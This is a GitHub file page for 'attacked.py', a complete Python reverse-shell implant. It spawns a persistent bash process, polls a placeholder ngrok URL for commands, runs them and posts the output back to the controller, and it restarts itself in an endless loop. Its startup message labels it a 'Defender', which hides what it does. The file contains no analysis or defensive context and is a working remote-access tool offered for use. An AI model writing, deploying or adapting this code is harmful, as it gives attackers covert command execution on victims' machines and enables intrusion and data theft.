-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathattacked.py
More file actions
100 lines (90 loc) · 3.33 KB
/
Copy pathattacked.py
File metadata and controls
100 lines (90 loc) · 3.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
import subprocess
import time
import urllib.request
import urllib.parse
# ------------------------------------------------------------------
# CONFIGURATION
# ------------------------------------------------------------------
URL = "https://<your_ngrok_url>" # CHANGE THIS
DELIMITER = "---END_OF_COMMAND_XYZ123---"
# ------------------------------------------------------------------
# NETWORK HELPERS
# ------------------------------------------------------------------
def http_send(endpoint, data=None):
try:
if data:
post_data = urllib.parse.urlencode({'data': data}).encode()
req = urllib.request.Request(URL + endpoint, data=post_data, method='POST')
else:
req = urllib.request.Request(URL + endpoint, method='GET')
with urllib.request.urlopen(req, timeout=10) as resp:
return resp.read().decode()
except Exception:
return None
# ------------------------------------------------------------------
# SHELL WORKER (Unchanged, exactly as it worked before)
# ------------------------------------------------------------------
def spawn_persistent_shell():
proc = subprocess.Popen(
['/bin/bash'],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1
)
while True:
try:
# Poll for command
command = http_send('/cmd')
if command is None:
time.sleep(2)
continue
# Clean command
command = command.strip()
while command.startswith(';'):
command = command[1:].lstrip()
if not command:
time.sleep(2)
continue
# Inject into bash
full_cmd = f"{command} 2>&1; echo '{DELIMITER}'\n"
proc.stdin.write(full_cmd)
proc.stdin.flush()
# Read output until delimiter
output_lines = []
while True:
line = proc.stdout.readline()
if not line: # Shell crashed
http_send('/send', "[!] Shell crashed. Restarting...")
return # Outer loop restarts
if DELIMITER in line:
line = line.replace(DELIMITER, '')
if line:
output_lines.append(line)
break
output_lines.append(line)
output = ''.join(output_lines)
http_send('/send', output)
except BrokenPipeError:
http_send('/send', "[!] BrokenPipe. Restarting...")
return
except Exception as e:
http_send('/send', f"AGENT CRASH: {str(e)}")
time.sleep(5)
# ------------------------------------------------------------------
# MAIN (Infinite restart loop for the shell worker)
# ------------------------------------------------------------------
if __name__ == "__main__":
print("[+] Defender (Pure Worker) started.")
while True:
try:
spawn_persistent_shell()
except Exception as e:
# If something catastrophic happens, just restart the worker
try:
http_send('/send', f"FATAL WORKER CRASH: {str(e)}")
except:
pass
time.sleep(5)